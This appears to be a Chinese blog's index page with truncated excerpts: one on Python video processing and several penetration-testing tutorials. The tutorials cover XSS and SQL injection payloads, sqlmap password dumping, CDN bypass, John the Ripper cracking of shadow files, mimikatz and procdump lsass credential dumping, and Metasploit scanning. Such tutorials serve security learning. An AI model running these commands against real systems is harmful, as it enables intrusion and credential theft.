Python视频处理实战
Python视频处理实战批量删除环境声并高速播放1234567891011from moviepy.editor import VideoFileClipfrom pathlib import Pathroot_path=Path(__file__).parentorigin_folder=root_path/'origin'result_folder=root_path/"result"result_folder.mkdir(exist_ok=True)for origin_file in origin_folder.iterdir(): origin=VideoFileClip(str(origin_file),audio=False) result=result_folder.joinpath(origin_file.name) origin.speedx(15).write_videofile(str(result)) #15倍速 origin.close()
VideoFileClip常用参数:
filena ...
靶机渗透实战基础-Vulnhub-Empire:LupinOne
靶机渗透实战基础-Vulnhub-Empire:LupinOne端口发现1sudo nmap 192.168.31.100 -n -Pn -p- --reason -sV -sC -O
回显内容:
1234567891011121314151617181920212223242526Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 09:44 CSTNmap scan report for 192.168.31.100Host is up, received arp-response (0.0072s latency).Not shown: 65532 closed tcp ports (reset)PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5 (protocol 2.0)| ssh-hostkey: | 3072 ed:ea:d9:d3 ...
Web安全原理
Web安全原理XSS跨站脚本攻击反射型XSS1http://xxx/xss1.php?xss_input_value="><img src=1 onerror=alert(/xss/)/>"
代码分析:
123456789101112131415161718192021222324<html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>XSS</title> </head> <body> <center> <h6>输入字符串输出到input的value里</h6> <form action="" method="get"& ...
SQL注入攻击实战
SQL注入攻击实战攻击前准备存在注入判断12id=1'id=1 and 1=1
information_schema
information_schema
schemata
schema_name 数据库库名
tables
table_schema 各表对应的数据库名
table_name 表名
columns
table_schema
table_name
column_name 列名
Union联合注入攻击1234567891011121314id=1id=1'id=1 and 1=1id=1 and 1=2id=1 order by 3id=1 order by 4id=1 union select 1,2,3id=-1 union select 1,2,3id=-1 union select 1,database(),3id=-1 union select 1,(select table_name from information_schema.tables where table_schema='sql' limit ...
Nmap基本使用
Nmap基本使用常用参数-A:进攻性扫描
-T4:4级时序,级别0·6,越高速度越快,越容易被WAF或IDS检测屏蔽,推荐T4
-v:显示冗余信息
-iL:文件中导入目标
–exclude:后面参数不在扫描范围内
–excludefile:导入的文件不在扫描范围内
–traceroute:跟踪每个路由节点
-sV:版本侦测
-sF:使用FIN秘密扫描方式协助探测TCP端口状态
-Pn:指定主机视为已开启,跳过主机发现过程
-n:不进行DNS解析
–reason:解释该IP及端口为什么开放
-sC或–script:添加脚本,不指定使用默认脚本
-O:操作系统及版本检测
-sP:基于icmp的扫描
-p-:扫描0~65535所有端口,默认只前1000
–min-rate:每秒最少发送数据包数量,值越高速度越快
-sn:仅使用ping的方法发现主机
-sT、-sU:分别进行详细的TCP、UDP端口扫描(-sU要root,还很慢…)
-oG:输出结果到文件
基本方法扫描单/多个目标地址:
1234567891011121314151617nmap 192.168.0.100nmap ...
SQLMap常用方法
SQLMap常用方法基本使用判断是否存在注入:
1sqlmap -u http://xxx/?id=1 #参数大于等于2个时url加双引号
存在cookie注入时:
1sqlmap -r 1.txt #1.txt为请求包内容
查询当前用户下所有数据库:
1sqlmap -u http://xxx/?id=1 --dbs
获取数据库表名:
1sqlmap -u "http://xxx/?id=1" -D dkeye --tables
获取表中字段名:
1sqlmap -u "http://xxx/?id=1" -D dkeye -T user_info --columns
获取字段内容:
1sqlmap -u "http://xxx/?id=1" -D dkeye -T user_info -C username,password --dump
列出数据库所有用户:
1sqlmap -u "http://xxx/union.php?id=1" --user
获取数据库用户密码:
1sqlmap ...
绕过CDN寻找真实IP常用方法
绕过CDN寻找真实IP常用方法
通过目标网站用户注册或RSS订阅,查看邮件、寻找邮件头中邮件服务器域名IP。
扫描网站测试文件,如phpinfo、test
分站可能没有挂CDN,ping二级域名获分站IP,可能分站和主站不是同一个IP但在同一个C段。
国内CDN只对国内用户访问加速,国外CDN不一定,通过国外在线代理网站App Synthetic Monitor访问。
目标很久以前可能没有用过CDN,通过NETCRAFT观察域名IP历史记录。
如果网站有自己的APP,Fiddler或bp抓包。
尝试通过CloudFlareWatch对客户网站进行真实IP查询。
John-The-Ripper入门
John-The-Ripper入门哈希破解自动破解:
1john --wordlist=/usr/share/wordlists/rockyou.txt hash_to_crack.txt
如果不能很好的自动识别哈希类型,需要hash-identifier识别,并使用指定语法破解:
1john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_to_crack.txt
查看所有支持的格式:
1john --list=formats
破解Windows身份验证1john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm.txt
破解shadow其中local_passwd和local_shadow分别为/etc/passwd和/etc/shadow的副本:
1unshadow loca_passwd local_shadow > unshadowed.txt
提供给john破解:
...
内网用户凭证收集
内网用户凭证收集获取域内单机密码和哈希值在线读取lsass进程内存上传mimikatz到目标主机。
1mimikatz.exe "privilege::debug" "sekurlsa::logonpassowrds full " exit
离线读取lsass内存文件上传procdump,将lsass.exe的内存导出为lsass.dmp映像:
1procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz分析:
1mimikatz.exe "sekurlsa::minidump C:\Users\S\Desktop\lsass.dmp" "sekurlsa::logonpasswords full" exit
Winserver2012及以上开启WDigest功能,需要用户注销或重新登录才能获取密码明文。
1234#开启reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\ ...
Metasploit实战基础
Metasploit实战基础主机扫描使用辅助模块搜索可用端口模块:
1search portscan
例如使用TCP扫描模块:
1use auxiliary/scanner/portscan/tcp
查看需要设置的参数:
1show options
设置参数:
set设置 unset取消设置 setg、unsetg设置全局参数
123set RHOSTS 192.168.172.149set PORTS 1-500set THREADS 20
启动:
run或exploit
1run
其他常用扫描模块:
模块
功能
auxiliary
scanner
portscan
端口扫描
smb
smb_version
SMB系统版本扫描
smb_enumusers
SMB枚举
smb_login
SMB弱口令扫描
smtp
smtp_version
SMTP版本扫描
smtp_enum
SMTP枚举
snmp
community
SNMP扫描设备
telnet
telnet_login
TELNET登录 ...